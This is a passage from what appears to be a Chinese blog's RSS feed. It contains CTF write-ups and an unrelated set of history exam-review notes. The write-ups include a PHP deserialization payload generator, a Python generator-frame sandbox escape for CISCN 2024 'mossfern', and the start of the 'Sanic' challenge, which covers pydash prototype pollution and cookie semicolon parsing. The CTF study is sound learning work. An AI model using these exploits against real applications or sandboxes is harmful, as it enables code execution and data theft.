        s:9:&quot;formatter&quot;;N;
    }
}&quot;;s:10:&quot;preference&quot;;O:13:&quot;DateFormatter&quot;:0:{}} 
```

当然，眼尖的师傅就发现了，这样最后不是会多出来奇怪的东西吗，这个我们确实无法避免，但是海纳百川的php还是能正常反序列化，顶多是报个**Warning**: unserialize(): Error at offset xxx ~~(怪不得是黑客最喜欢的语言)~~

以下就是生成此payload的暴力代码：

```php
&lt;?php
class LogService {
    public $handler;
    public $formatter;
}

class FileStream {
    public $path;
    public $mode;
    public $content;
}

// LogService::__destruct -&gt; FileStream::close()

$payload = new LogService();
$payload-&gt;handler = new FileStream();
$payload-&gt;handler-&gt;path = &quot;&quot;;
$payload-&gt;handler-&gt;mode = &quot;debug&quot;;
$payload-&gt;handler-&gt;content = &quot;phpinfo();&quot;;

$payload = serialize($payload);

// 暴力计算合适的payload长度
for ($i = 0; $i &lt; 100; $i++) {
    // 要吃掉&quot;;s:3:&quot;bio&quot;;s:[LEN]:&quot;[PADDING]，长度必须是6的倍数
    // 填充单个字符来满足长度要求
    $payload_content = str_repeat(&quot;-&quot;, $i) . &apos;&quot;;s:10:&quot;preference&quot;;&apos; . $payload . &apos;}&apos;;
    $payload_len = strlen($payload_content);

    $eaten_structure = &apos;&quot;;s:3:&quot;bio&quot;;s:&apos; . $payload_len . &apos;:&quot;&apos;;
    $length = strlen($eaten_structure) + $i;

    if ($length % 6 === 0) {
        $count = $length / 6;
        echo &quot;user=&quot; . str_repeat(&quot;hacker&quot;, $count);
        echo &quot;&amp;bio=&quot; . $payload_content;
        break;
    }
}
```</content:encoded></item><item><title>中国近代史纲要期末复习</title><link>https://blog.erina.top/blog/%E4%B8%AD%E5%9B%BD%E8%BF%91%E4%BB%A3%E5%8F%B2%E7%BA%B2%E8%A6%81/</link><guid isPermaLink="true">https://blog.erina.top/blog/%E4%B8%AD%E5%9B%BD%E8%BF%91%E4%BB%A3%E5%8F%B2%E7%BA%B2%E8%A6%81/</guid><description>中国近代史纲要期末复习题的答案整理，保佑我不挂科</description><content:encoded>## 一
1. 近代中国诞生的新兴的被压迫阶级是工人阶级
2. 1843年，魏源在《海国图志》中首次提出“师夷长技以制夷”的思想
3. 在中国近代史上规定允许外国人在中国办厂的条约是《马关条约》
4. 太平天国后期提出发展资本主义社会改革方案的是洪仁玕
5. 冯桂芬说：“以中国之伦常名教为原本，辅以诸国富强之术。”这个思想后来被进一步概括为：“中学为体，西学为用”。
6. 1898年9月，慈禧太后发动了政变，囚禁了光绪帝，下令捕杀维新派，废除变法法令，政变的实质反映了资产阶级和封建旧势力的斗争
7. 对“民权主义”理解正确的是推翻封建帝制，建立资产阶级共和国
8. 1905年，中国同盟会成立后的机关报为《民报》
9. 1894年，孙中山在檀香山建立的资产阶级革命组织团体是兴中会
10. 在中国最早的比较系统的介绍马克思主义，第一次举起社会主义大旗的人物是李大钊
11. 1920年8月，《共产党宣言》第一个中译本的翻译者为陈望道
12. 国民革命兴起后，全国出现了农村革命大高潮，其中心在湖南
13. 1928年4月下旬，朱德、陈毅率领南昌起义留下的部队和湘南起义军陆续转移到井冈山地区，与毛泽东领导的部队会师
14. 1927年8月7日，中共中央在汉口秘密召开紧急会议，确定的方针是土地革命和武装斗争
15. 遵义会议后，中共中央成立的三人军事指挥小组，成员是毛泽东、周恩来、王稼祥
16. 毛泽东在《论持久战》中系统阐明了抗日战争的发展规律和坚持抗战、争取抗战胜利必须实行的战略总方针
17. 中国共产党在六届六中全会上提出的命题是马克思主义的中国化
18. 中国人民抗日战争胜利纪念日是9月3日
19. 1946年6月，全面内战爆发，国民党首先进攻的地区是中原解放区
20. 抗日战争胜利后，某些民主党派的领导人物曾坚持中间路线，其实质是走旧民主主义的道路
21. 解放战争时期的第二条战线是指国统区的人民民主运动
22. 中国共产党过渡时期总路线的主体是实现国家的社会主义工业化
23. 新中国的第一个五年计划中，集中主要力量发展的是重工业
24. 中国在1971年恢复了在联合国的合法席位
25. 进一步阐明台湾回归祖国，实现和平统一的九项方针政策的中国领导人是叶剑英
26. 1984年10月，中共十二界三中全会通过《关于经济体制改革的决定》，指出我国社会主义经济是在公有制基础上的有计划的商品经济
27. 党的十五大确立的社会主义初级阶段的基本经济制度是以公有制经济为主体，多种所有制经济共同发展
28. 中国共产党第十八次全国代表大会阐明中国特色社会主义的总任务是实现社会主义现代化和中华名族的伟大复兴
29. 党的二十大强调马克思主义是我们立党立国、兴党兴国的根本指导思想
30. 党的二十大指出，在新中国成立特别是改革开放以来的长期探索实践基础上，经过十八大以来在理论和实践上的创新突破，中国共产党成功推进和推展了中国式现代化
31. 从19世纪49年代起西方殖民者通过军事侵略、经济掠夺、文化渗透、政治控制，使中国一步步沦为半殖民地半封建社会
32. 半殖民地半封建社会的中国的主要矛盾是帝国主义和中华民族的矛盾、封建主义和人民大众的矛盾
33. 从19世纪60到90年代，洋务派举办的洋务事业归纳起来有：兴办近代企业、建立新式海军、创办新式学堂、派遣留学生
34. 戊戌变法期间维新派与守旧派论战的主要问题是：要不要变法、要不要兴民权，设议院，实行君主立宪、要不要废八股，改科举和兴西学
35. 辛亥革命时期革命派与改良派关于革命与改良辩论的主要问题是：要不要推翻清朝统治、要不要推翻帝制、要不要进行社会革命
36. 晚清至民初政府当局先后颁布的具有所谓的“宪法”名义或意义的文件有《钦定宪法大纲》、《中华民国临时约法》
37. 中国早期接受宣传马克思主义的主要是新文化运动的精神领袖、五四运动中的左翼骨干、一部分原同盟会成员、辛亥革命时期的活动家
38. 中共二大宣言规定了中国共产党的最低纲领，其基本内容是消除内乱，打倒军阀，建设国内和平、推翻国际帝国主义的压迫，达到中华名族完全独立、统一中国为真正的民主共和国
39. 国民党所实行的一党专政和军事独裁统治是代表地主阶级利益、买办性的大资产阶级利益
40. 1927年7月中旬，中共中央临时政治局常委决定将党所掌握和影响的部队向南昌集中，准备起义、组织湘鄂赣粤四省的农民，在秋收季节举行暴动、讨论和决定新时期的方针和政策
41. 以国共两党第二次合作为基础的抗日民族统一战线正式建立的标志是国民党中央通讯社发表《中共中央为公布国共合作宣言》、蒋介石发表了实际上承认中国共产党的合法地位的讲话
42. 1938年5月，毛泽东发表《论持久战》讲演，其主要内容包括：总结了10个月来的教训，阐明持久抗战的总方针、全面分析了中日战争的基本特点、科学预测了抗日战争所要经历的阶段、论证了抗日是持久的，最后的胜利属于中国
43. 1939年7月，针对蒋介石消极抗日、积极反共，中国共产党明确提出的政治方针是坚持抗战，反对妥协、坚持团结，反对分裂、坚持进步，反对倒退
44. 1945年8月，中共中央发表对时局的宣言，明确提出的口号是和平、民主、团结
45. 中共七届二中全会的主要内容有：规定了全国胜利后中国共产党在政治、经济、外交方面应当采取的基本策略、规定了党在过渡时期的总路线、在中国自身建设的问题上，提出了“两个务必”的要求
46. 1951年底到1952年春，中国共产党在党政机构工作人员中开展的反贪污、反浪费、反官僚主义斗争，被称为“三反”
47. 对资本主义工商业进行社会主义改造所采取的初级形式的国家资本主义有：加工订货、统购包销、经销代销
48. 1972年2月，中国、美国两国发表上海联合公报，开辟了两国关系的新前景
49. 家庭联产承包责任制的主要形式有包产到户、包干到户
50. 2017年10月18日至24日，中国共产党第十九次全国代表大会在北京举行。十九大报告明确新时代我国社会主要矛盾已经转化为人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾

## 二
### 以毛泽东为代表的中国共产党人是如何探索和开辟中国革命新道路的？

- 开展武装反抗国名党统治的斗争。1927年8月，中共中央在汉口召开紧急会议（八七会议），彻底清算了大革命后期的陈独秀右倾机会主义错误，确定了土地革命和武装反抗国民党方针。中国革命由此发展到了一个新阶段
- 走农村包围城市的革命道路。以农村为重点，到农村去发动农民，进行土地革命，开展武装斗争，建设根据地，这是1927年以后中国革命发展的客观规律所要求的。农村包围城市、武装夺取政权这条革命新道路的开辟，依靠了党和人民的集体奋斗，凝聚了党和人民的集体智慧。而毛泽东是其中的杰出代表。
- 毛泽东不仅在实践中首先把革命进攻的方向指向了农村，而且从理论上阐明了武装斗争的极端重要性和农村应当成为党的工作中心的思想。1928年，毛泽东写了《中国的红色政权为什么能够存在？》、《井冈山的斗争》等文章，明确指出以农业为主要经济的中国革命，以军事发展暴动，是一种特征；还科学阐明了共产党领导的土地革命、武装斗争与根据地建设这三者之间的辩证统一关系；1930年，《星星之火可以燎原》一文中，毛泽东指出：红军、游击队和红色区域的建立和发展，是半殖民地中国在无产阶级领导下的农民斗争的最高形式，和半殖民地农民斗争发展的必然结果，并且无疑议的是促进全国革命高潮的最重要因素。
- 农村包围城市，武装夺取政权理论，是对1927年革命失败后中国共产党领导的红军和根据地斗争经验的科学概括。它是以毛泽东为代表的中国共产党人同当时党内盛行的把马克思主义教条化、把共产国际和苏联经验神圣化的错误倾向做坚决斗争基础上形成的。农村包围城市、武装夺取政权理论的提出，标志着中国化的马克思主义：毛泽东思想的初步形成。
- 随着革命新道路的开辟，中国共产党领导的红军和根据地逐步发展起来。红军游击战争实际上已经成为中国革命的主要形式，农村根据地成为积蓄和锻炼革命力量的主要战略阵地。

### 中国革命新道路“新”在哪里？

- 革命道路：农村包围城市，武装夺取政权的新民主主义革命道路
- 领导阶级：无产阶级领导
- 革命思想：马克思主义指导思想，以及毛泽东思想的指导
- 发动群众：彻底发动了广大人民群众
- 开展土地革命，颁布《井冈山土地改革法》

### 近代中国人民反对外国侵略的斗争具有什么意义？

- 粉碎了帝国主义瓜分中国的图谋。近代中国人民进行的反侵略战争，沉重打击了帝国主义侵华的野心，粉碎了他们瓜分中国的图谋。中国人民的英勇斗争，表现了中国人民不屈不饶的爱国主义精神，给外国侵略者们以沉重的打击和教训，使他们认识到，中国是一个很难征服的国家
- 振奋了民族精神，激励了民族斗志。近代中国人民进行的反侵略战争，教育了中国人民，振奋了中华民族的民族精神，鼓舞了人民反帝反封建的斗志，大大提高了中国人民的民族觉醒意识
- 促进了部分中国人的觉醒，开始关注和研究国际形势发展。中国人民反侵略战争的失败，极大的促进了中国人民的思考。如鸦片战争以后，先进的中国人开始了解国际形势，研究外国历史地理，提出“师夷长技以制夷”的思想；甲午战争后，中华民族的民族意识开始普遍觉醒，救亡图存思想日益高涨等

### 为什么说孙中山领导的辛亥革命引起了近代中国的历史性巨大变化？

- 辛亥革命是资产阶级领导的以反对君主专制制度、建立资产阶级共和国为目的的革命，是一次比较完全意义上的资产阶级革命。在近代历史上，辛亥革命是中国人民救亡图存、振兴中华而奋起革命的一个里程碑，它使中国发生了历史性的巨变。
- - 辛亥革命推翻了封建势力的政治代表、帝国主义在中国的代理人——清王朝的统治，沉重打击了中外反动势力，使中国反动统治者在政治上乱了手脚。
- - 辛亥革命结束了统治中国两千多年的封建君主专制制度，建立了中国历史上第一个资产阶级共和政府。
- - 辛亥革命给人们带来一次思想上的解放
- - 辛亥革命促使社会经济、思想习惯和社会风俗等方面发生了新的积极变化
- - 辛亥革命不仅在一定程度上打击了帝国主义的侵略势力，而且推动了亚洲各国民族解放运动的高涨

### 比较在抗日战争相持阶段，国名党与共产党在正面战场上的表现

国民党：
- 日本对国民党政府采取以政治诱降为主、军事打击为辅的方针。国民党在重申坚持持久抗战的同时，其对内对外政策发生重大变化。1939年1月，国民党五届五中全会把对付共产党作为重要议题，确定“防共”、“限共”、“溶共”的方针。会后，国民党当局陆续制定和颁发《防止异党活动办法》等一系列反共文件，蒋介石还将“抗战到底”解释为“恢复卢沟桥事变以前的状态”。这标志着国民党政府逐步转变为消极抗战。
- 日军在对国民党进行政治诱降的同时，为巩固占领区，继续对国民党军队发动过若干次攻击性打击。国民党军队也进行过几次较大的战役，大体上保住了西南、西北大后方战区。但此时期国民党对抗战在全局上逐渐消极，基本上实行保守的收缩战略，以保存实力；同时又抽出相当多的兵力用来限制、打击共产党及其领导的人民军队，制造了多次反共“摩擦”事件。
- 在战略相持阶段，国民党统治集团在口头上宣称要发展经济，而在实际上却扩张官僚资本主义、垄断经济命脉；在口头上宣称“民主”，而实际上却在压制人民民主运动

共产党：
- 敌后游击战场成为主要的抗日作战方式。日军逐步将主要兵力用于打击敌后战场的人民军队，以保持和巩固其占领地。1939年至1940年，仅华北地区的日军出动千人以上对敌后根据地大“扫荡”就有109次，使用总兵力50万人以上。为打击日本侵略者，人民军队在有利条件下也进行过运动战。如1940年8月至翌年1月，八路军总部在华北发动了一次大规模的对日军的进攻，陆续参战部队达105个团20余万人，史称“百团大战”。但是，人民军队在大部分时间里所进行的主要是游击战。削弱敌人、壮大自己，逐步改变敌强我弱的状态，为实行战略反攻准备条件，这个任务主要是由人民军队进行的游击战来完成。

### 1953年中共中央提出了党在过渡时期总路线的主要内容是什么？党如何实现对农业、手工业、资本主义工商业的社会主义改造

- 在这个过渡时期的总路线和总任务，是要在一个相当长的时期内，基本上实现国家工业化和对农业、手工业、资本主义工商业的社会主义改造，农业社会主义改造即指农业合作化运动。
- 在人民民主专政条件下，通过合作化道路，把小农经济逐步改造成为社会主义集体经济，是中国共产党在过渡时期总路线的一个重要组成部分。党在完成土地改革以后，遵循自愿互利、典型示范和国家帮助的原则，采取三个互相衔接的步骤和形式，从组织带有社会主义萌芽性质的临时互助组和常年互助组，发展到以土地入股、统一经营为特点的半社会主义性质的初级农业生产合作社，再进一步建立土地和主要生产资料归集体所有的完全社会主义性质的高级农业生产合作社。
- 国家资本主义是中国共产党人和人民政府利用和限制资本主义工商业、将资本主义工商业逐步纳入国家计划轨道，改造使它逐步过渡到社会主义的主要形式，也是利用资本主义工商业来训练干部、改造资产阶级分子的主要环节。国家资本主义作为改造和过渡作用的集中体现是：
- - 国家资本主义经济具有社会主义性质，它向前迈进一步就是社会主义
- - 国家资本主义是资本主义家最能接受的走向社会主义的过渡形势，而且也是工人阶级可以参与资本家企业管理的最有效形式
- - 国家资本主义的高级形式——公私合营是民族资产阶级最后的阵地，它可以让民族资产阶级和平的交出生产资料的所有权，也使得中国最终走向社会主义。

### 试论解放战争时期中国共产党实行的土地改革运动的内容与意义

内容：
- 废除土地所有制，实行“耕者有其田”
- 开展阶级斗争与群众运动，打击地主剥削
- 建立农民土地所有制，提高农民生产积极性
- 1927年颁布《中国土地法大纲》，为改革提供法律依据

意义：
- 政治上：巩固了中国共产党的群众基础，为解放战争胜利提供保障
- 经济上：解放农村生产力，促进农业经济发展
- 社会上：摧毁封建土地制度，实现农村社会结构变革
- 历史上：是新民主主义革命的重要组成部分，为新中国建立奠定基础

### 论述建国前夕中国共产党所做的准备工作有那些

- 政治准备：召开七届二中全会，明确工作中心转移；筹备中国人民政治协商会议，通过《共同纲领》
- 军事准备：取得三大战役胜利，解放全国大部分地区
- 经济准备：开展土地革命，统一财经政策，稳定经济
- 思想准备：宣传马克思主义和毛泽东思想，统一全党思想
- 外交准备：争取国际支持，与社会主义国家建立外交关系

### 为什么说中国共产党是中国人民抗日战争的中流砥柱

- 制定全面抗战的路线和持久化的方针。1937年中共中央在陕北洛川会议上指出，必须实行全民族的抗战路线才能打倒日本帝国主义。1938年毛泽东又在《论持久战》中指出，抗日战争是持久的，但最后胜利属于中国。这些为抗日战争指明了方向
- 积极促进抗日民族统一战线的建立，始终维护抗日民族统一战线的团结。正是在中国共产党的倡议和推动下，抗日民族统一战线才得以建立。面对国民党的反动高潮，中国共产党始终从民族利益出发，坚持既团结又斗争的方针，巩固和壮大了抗日民族统一战线
- 开辟敌后战场，建立了抗日根据地。在抗战过程中，中国共产党最终建立了19块抗日根据地，使敌后战场成为抗战后期的主要战场，抗日游击战争具有重要的战略地位
- 加强民主根据地的建设。通过建立“三三制”政权，实行减租减息政策，开展大生产运动等，使以陕甘宁边区为代表的抗日根据地成为全国最进步的地方
- 开展整风运动，加强党的理论建设，提出新民主主义理论，确立毛泽东思想为党的指导思想，从而为争取抗日战争的最后胜利和新中国的建立指明了方向。

### 简述十月革命爆发前新文化运动的基本口号及其含意义

基本口号：
- 民主和科学
含义：
- 民主：反对封建专制，主张资产阶级民主共和和思想解放
- 科学：学习西方科学技术，倡导理性与实证精神

### 中共八七会议的主要内容及其意义

内容：
- 彻底清算了大革命后期的陈独秀右倾机会主义错误
- 确定了土地革命和武装反抗国民党反动统治的总方针，并选出了以翟秋白为首的中央临时政治局
- 会议提出“政权是由枪杆子中取得的”这一理论

意义：
- 八七会议使中国共产党在政治上大大前进了一步，开始了从大革命失败到土地革命战争兴起的转折

### 中国的抗日战争在世界反法西斯战争中的地位

- 中国人民抗日战争是世界反法西斯战争的东方主战场。中国人民抗日战争开始最早，持续时间最长，对日本侵略者彻底覆灭起到了决定性作用
- 中国人民的持久抗战，遏制了日本“北进”计划，迟滞了日本“南进”步伐，为盟军实施战略转折和战略反攻创造了条件
- 中国作为亚太地区盟军的重要后方基地，为其提供了大量战略物资和军事情报。中国军队出国作战，打击了日军，也对盟军给予了实际支援

### 中国近代社会的两大历史任务是什么?

- 争取民族独立、人民解放
- 实现国家富强、人民富裕

### 为什么说戊戌维新运动是一场思想启蒙运动?

- 维新派在中国最早创办近代报刊，把旧式书院和私塾逐渐转变为近代学校，广泛建立了政治性和学术性的社团
- 他们大力提倡西方的社会政治学说和科学知识，宣传天赋人权、自由平等的观念， 打开了知识分子的眼界， 使他们重新认识世界，为后来人们接受新思想扫除了一些障碍，这种思想影响不会因政变而消失
- 一批地主阶级知识分子接受了新思想，卷入到资产阶级的政治斗争旋涡中，这正是维新运动的群众基础
- 戊戌变法之后，人们追求的社会目标有了明显的变化，地主阶级知识分子中的优秀人才已不单向官僚阶层聚集，转而向其对立面转化
- 戊戌思潮过后，不仅大量的青年学生大批地倒向革命阵营，相当数量的老一代知识分子也退出了封建官僚集团，另择他途

### 第三条道路的主张及结局

主张：
- 政治上建立民主联合政府、反对一党专政
- 经济上发展民族资本主义、反对官僚资本和社会主义
- 军事上主张和平谈判、反对内战

结局：
- 被国民党打压、共产党影响及内战爆发导致幻灭，中间力量转向支持共产党

### 为什么说五四运动是中国新民主主义革命的开端?

五四运动具有以辛亥革命为代表的旧民主主义革命所不具备的历史特点和历史意义
- 五四运动是中国近代史上一次彻底反帝反封建的革命运动，把中国人民反帝反封建的斗争提升到一个新水平
- 五四运动广泛地动员和组织了群众，是一场真正群众性的革命运动。青年学生起了先锋作用，工人阶级第一次作为独立的政治力量登上历史舞台，在运动后期发挥了主力军作用
- 五四运动促进了马克思主义在中国的广泛传播，促进了马克思主义同中国工人运动的结合，为中国共产党的成立作了思想和干部上的准备
- 五四运动是中国新民主主义革命的开端。五四运动后，无产阶级逐渐代替资产阶级成为近代中国民族民主革命的领导者

### 简述华北事变的过程

- 华北事变是1935年日本为侵略华北而制造的一系列事件
- - 5月日本借口“河北事件”施压
- - 6月签订《何梅协定》削弱中国主权
- - 10月制造“张北事件”扩大侵略
- 华北事变标志着日本对华侵略进入新阶段，也推动了中国抗日救亡运动的高涨

### 什么是半殖民地半封建社会

- 半殖民地半封建社会是中国近代社会的基本性质
- 政治上受帝国主义控制，经济上保留封建剥削，同时资本主义因素也在发展，社会结构呈现新旧交织的特征

### 简述毛泽东持久战的战略方针

- 毛泽东在《论持久战》中提出持久战战略，认为抗日战争将经历防御、相持、反攻三个阶段。他主张动员人民，实行全面抗战，通过游击战和阵地战相结合，以空间换时间，最终赢得胜利
- 持久战是抗日战争胜利的重要理论基础。

### 简述解放战争时期我党的土地政策

解放战争时期，我党土地政策经历调整，核心是实现“耕者有其田”。具体如下：
- 政策转变标志：1946年发布《关于清算、减租及土地问题的指示》（《五四指示》），将抗日战争时期的“减租减息”改为“没收地主土地分配给农民”
- 核心法律文件：1947年颁布《中国土地法大纲》，明确“废除封建性及半封建性剥削的土地制度，实行耕者有其田的土地制度”，规定按人口平均分配土地，团结中农，区分对待地主与富农
- 目标与意义：满足农民土地需求，激发农民革命积极性，农民踊跃参军、支援前线，为解放战争胜利提供坚实群众基础和物质保障

### 洋务运动失败的主要原因

- 具有封建性
- 对西方列强具有依赖性
- 管理具有腐朽性

### 抗美援朝战争胜利的伟大意义

- 打击了美帝国主义的侵略政策和战争政策，打破了美国不可战胜的神话，极大地鼓舞了全世界人民保卫和平、反对侵略的勇气和信心，对国际局势产生了深远的影响
- 战争的胜利极大地提高了我国的国际威望
- 保卫了中朝两国的独立和安全，为我国的社会主义改造和社会主义建设赢得了一个相对稳定的和平环境
- 使我国建立了一支较为现代化的海陆空军和其他各兵种的国防军，并取得了对美作战的经验
- 提高了全国人民的政治觉悟，振奋了革命精神，极大地激发了全国人民的爱国热情和国际主义精神

### 简述社会主义初级阶段理论和中国共产党的基本路线

- 我国正处在社会主义的初级阶段。这个论断，包括两层含义
- - 我国社会已经是社会主义社会。我们必须坚持而不能离开社会主义。
- - 我国的社会主义社会还处在初级阶段
- 中国共产党在社会主义初级阶段的基本路线是：领导和团结全国各族人民，以经济建设为中心，坚持四项基本原则，坚持改革开放，自力更生，艰苦创业，为把我国建设成为富强、民主、文明的社会主义现代化国家而奋斗

### 辛亥革命时期孙中山三民主义的主要内容及其意义

主要内容：
- 民族主义：驱除鞑虏,恢复中华
- - 以革命手段推翻清朝政府
- - 建立中华民族“独立的国家”
- 民权主义：创立民国
- - 推翻封建君主专制制度,建立资产阶级民主共和国。这就是孙中山所说的政治革命
- 民生主义在当时指的是“平均地权”,也就是孙中山所说的社会革命

意义：
- 孙中山的三民主义学说,初步描绘出中国还不曾有过的资产阶级共和国方案,是一个比较完整而明确的资产阶级民主革命纲领
- 它的提出,对推动革命的发展产生了重大而积极的影响。</content:encoded></item><item><title>CISCN2024-mossfern</title><link>https://blog.erina.top/blog/ciscn2024-mossfern/</link><guid isPermaLink="true">https://blog.erina.top/blog/ciscn2024-mossfern/</guid><description>CISCN 2024 初赛题mossfern的wp，一到简单的栈帧逃逸</description><content:encoded>&gt; 小明最近搭建了一个学习 Python 的网站，他上线了一个 Demo。据说提供了很火很安全的在线执行功能，你能帮他测测看吗？

直接给出exp，还是十分简单的，这个解法可能是个小的非预期的解，因为好多过滤都直接忽视了：

```python
def a():
	g = (g.gi_frame.f_back.f_back.f_back.f_back for _ in [1])
	f = [x for x in g][0]
	code = f.f_code
	builtins = f.f_globals[&quot;_&quot;+&quot;_builtins_&quot;+&quot;_&quot;]
	str = builtins.str
	print(str(code.co_consts).replace(&quot;}&quot;, &quot;]&quot;))
a()
```

注意这外层的`a()`函数的作用是形成闭包，防止在生成器的自引用时加载到全局变量以绕过字节码`LOAD_GLOBAL`的过滤，具体的原因我不多解释~~因为我也半知半解~~，这里贴出两种情况下生成器的反汇编码，有兴趣的可以看看：

```python title=包裹a()函数 {12}
[
    &apos;Disassembly of &lt;code object &lt;genexpr&gt; at 0x7f6b5ed42c30, file &quot;&lt;dis&gt;&quot;, line 3&gt;:&apos;,
    &quot;  --           COPY_FREE_VARS           1&quot;,
    &quot;&quot;,
    &quot;   3           RETURN_GENERATOR&quot;,
    &quot;               POP_TOP&quot;,
    &quot;       L1:     RESUME                   0&quot;,
    &quot;               LOAD_FAST                0 (.0)&quot;,
    &quot;               GET_ITER&quot;,
    &quot;       L2:     FOR_ITER                57 (to L3)&quot;,
    &quot;               STORE_FAST               1 (_)&quot;,
    &quot;               LOAD_DEREF               2 (g)&quot;,
    &quot;               LOAD_ATTR                0 (gi_frame)&quot;,
    &quot;               LOAD_ATTR                2 (f_back)&quot;,
    &quot;               LOAD_ATTR                2 (f_back)&quot;,
    &quot;               LOAD_ATTR                2 (f_back)&quot;,
    &quot;               LOAD_ATTR                2 (f_back)&quot;,
    &quot;               YIELD_VALUE              0&quot;,
    &quot;               RESUME                   5&quot;,
    &quot;               POP_TOP&quot;,
    &quot;               JUMP_BACKWARD           59 (to L2)&quot;,
    &quot;       L3:     END_FOR&quot;,
    &quot;               POP_TOP&quot;,
    &quot;               RETURN_CONST             0 (None)&quot;,
    &quot;&quot;,
    &quot;  --   L4:     CALL_INTRINSIC_1         3 (INTRINSIC_STOPITERATION_ERROR)&quot;,
    &quot;               RERAISE                  1&quot;,
    &quot;ExceptionTable:&quot;,
    &quot;  L1 to L4 -&gt; L4 [0] lasti&quot;,
    &quot;&quot;,
]

```

```python title=无包裹 {10}
[
    &apos;Disassembly of &lt;code object &lt;genexpr&gt; at 0x7ff5d6b42c30, file &quot;&lt;dis&gt;&quot;, line 2&gt;:&apos;,
    &quot;   2           RETURN_GENERATOR&quot;,
    &quot;               POP_TOP&quot;,
    &quot;       L1:     RESUME                   0&quot;,
    &quot;               LOAD_FAST                0 (.0)&quot;,
    &quot;               GET_ITER&quot;,
    &quot;       L2:     FOR_ITER                61 (to L3)&quot;,
    &quot;               STORE_FAST               1 (_)&quot;,
    &quot;               LOAD_GLOBAL              0 (g)&quot;,
    &quot;               LOAD_ATTR                2 (gi_frame)&quot;,
    &quot;               LOAD_ATTR                4 (f_back)&quot;,
    &quot;               LOAD_ATTR                4 (f_back)&quot;,
    &quot;               LOAD_ATTR                4 (f_back)&quot;,
    &quot;               LOAD_ATTR                4 (f_back)&quot;,
    &quot;               YIELD_VALUE              0&quot;,
    &quot;               RESUME                   5&quot;,
    &quot;               POP_TOP&quot;,
    &quot;               JUMP_BACKWARD           63 (to L2)&quot;,
    &quot;       L3:     END_FOR&quot;,
    &quot;               POP_TOP&quot;,
    &quot;               RETURN_CONST             0 (None)&quot;,
    &quot;&quot;,
    &quot;  --   L4:     CALL_INTRINSIC_1         3 (INTRINSIC_STOPITERATION_ERROR)&quot;,
    &quot;               RERAISE                  1&quot;,
    &quot;ExceptionTable:&quot;,
    &quot;  L1 to L4 -&gt; L4 [0] lasti&quot;,
    &quot;&quot;,
]

```


接下来就是通过`f_back`往下爬调用栈，这里`g.gi_frame`自引用得到当前生成器的栈帧，然后到`&lt;listcomp&gt;`列表推导式的栈帧，然后是当前整个函数的栈帧，然后是模块级的当前代码对象的栈帧，也就是`exec`执行的内容，最后是模块级的整个运行文件的代码对象的栈帧，也就是`app/uploads/THIS_IS_TASK_RANDOM_ID.py`。


我们使用`f_code`，来得到当前的代码对象本身，之后就是得到常量里的flag。


最后附上一张常用code对象属性的表，忘记了也可以通过`dir()`函数去查。

| 常用属性 | 作用 |
|-|-|
| co_argcount | 位置参数数量 |
| co_nlocals | 局部变量数量 |
| co_stacksize | 需要的栈空间 |
| co_flags | 标志位 |
| co_code | 字节码序列 |
| co_consts | 常量元组 |
| co_names | 名称元组 |
| co_varnames | 变量名元组 |
| co_filename | 文件名 |
| co_name | 名称 |
| co_firstlineno | 第一行行号 |
| co_lnotab | 行号表 |
| co_freevars | 自由变量名 |
| co_cellvars | 单元格变 |

---

**参考文献**

[利用生成器栈帧逃逸 Pyjail | CISCN 2024 mossfern 题解](https://www.pid-blog.com/article/frame-escape-pyjail)  
[Python利用栈帧沙箱逃逸 ](https://xz.aliyun.com/news/13075#toc-7)  
[Why are python generator frames&apos; (gi_frame) f_back attribute always none? - Stack Overflow](https://stackoverflow.com/questions/41239455/why-are-python-generator-frames-gi-frame-f-back-attribute-always-none)  
[CISCN2024初赛 web wp | dawn_r1sing](https://dawnrisingdong.github.io/2024/07/16/CISCN2024%E5%88%9D%E8%B5%9B-web-wp/#mossfern)</content:encoded></item><item><title>CISCN2024-Sanic</title><link>https://blog.erina.top/blog/ciscn2024-sanic/</link><guid isPermaLink="true">https://blog.erina.top/blog/ciscn2024-sanic/</guid><description>CISCN 2024 初赛题Sanic的wp</description><content:encoded>&gt; 题目描述：sanic能有什么问题呢？

提示敏感目录`/admin`、`/src`，直接去`src`路由得到源码：

```python &quot;pydash==5.1.2&quot;
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2

class Pollute:
    def __init__(self):
        pass

app = Sanic(__name__)
app.static(&quot;/static/&quot;, &quot;./static/&quot;)
Session(app)

@app.route(&apos;/&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
async def index(request):
    return html(open(&apos;static/index.html&apos;).read())

@app.route(&quot;/login&quot;)
async def login(request):
    user = request.cookies.get(&quot;user&quot;)
    if user.lower() == &apos;adm;n&apos;:
        request.ctx.session[&apos;admin&apos;] = True
        return text(&quot;login success&quot;)

    return text(&quot;login fail&quot;)

@app.route(&quot;/src&quot;)
async def src(request):
    return text(open(__file__).read())

@app.route(&quot;/admin&quot;, methods=[&apos;GET&apos;, &apos;POST&apos;])
async def admin(request):
    if request.ctx.session.get(&apos;admin&apos;) == True:
        key = request.json[&apos;key&apos;]
        value = request.json[&apos;value&apos;]
        if key and value and type(key) is str and &apos;_.&apos; not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text(&quot;success&quot;)
        else:
            return text(&quot;forbidden&quot;)
    return text(&quot;forbidden&quot;)

if __name__ == &apos;__main__&apos;:
    app.run(host=&apos;0.0.0.0&apos;)
```

服务器使用的是`sanic`框架，`pydash.set_`能触发`原型链污染`

### 分号解析

我们看到源码有一个`login`：
```python {4}
@app.route(&quot;/login&quot;)
async def login(request: Request):
    user = request.cookies.get(&quot;user&quot;)
    if user.lower() == &apos;adm;n&apos;:
        request.ctx.session[&apos;admin&apos;] = True
        return text(&quot;login success&quot;)

    return text(&quot;login fail&quot;)
```

这里校验`cookie`的`user`字段是否为`adm;n`，但`;`理应是分隔符，所以我们跟进查看源码对`;`的处理方式(24.12.0版本)，这里我加上了类型注解，方便跳转。

跟进这个`cookies`，(get方法内没有什么东西)：

```python title=sanic&gt;request&gt;types.py showLineNumbers startLineNumber=812 {3,16} &quot;self.get_cookies()&quot;
    def get_cookies(self) -&gt; RequestParameters:
        cookie = self.headers.getone(&quot;cookie&quot;, &quot;&quot;)
        self.parsed_cookies = CookieRequestParameters(parse_cookie(cookie))
        return self.parsed_cookies

    @property
    def cookies(self) -&gt; RequestParameters:
        &quot;&quot;&quot;Incoming cookies on the request

        Returns:
            RequestParameters: Incoming cookies on the request
        &quot;&quot;&quot;

